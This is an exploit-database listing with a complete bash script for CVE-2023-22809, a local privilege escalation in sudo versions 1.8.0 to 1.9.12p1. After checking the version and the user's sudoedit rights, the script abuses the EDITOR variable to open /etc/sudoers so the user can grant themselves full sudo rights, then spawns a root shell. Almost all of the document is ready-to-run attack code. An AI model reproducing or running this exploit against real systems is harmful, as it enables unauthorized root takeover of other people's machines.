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sudo 1.9.12p1 Privilege Escalation

sudo 1.9.12p1 Privilege Escalation
Posted Apr 3, 2023
Authored by n3m1.sys

sudo versions 1.8.0 through 1.9.12p1 local privilege escalation exploit.

tags | exploit, local
advisories | CVE-2023-22809
SHA-256 | 940dfd92aecb423ad0c55dc8c35cb7413ed385f1c05de5191eaac03dd2499f68

sudo 1.9.12p1 Privilege Escalation

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#!/usr/bin/env bash

# Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Git repository: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
#
# Running this exploit on a vulnerable system allows a localiattacker to gain
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root
# shell.

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
echo "> Currently installed sudo version is not vulnerable"
exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then
echo "> It doesn't seem that this user can run sudoedit as root"
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
echo "> BINGO! User exploitable"
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$( whoami ) ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..."
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0
fi

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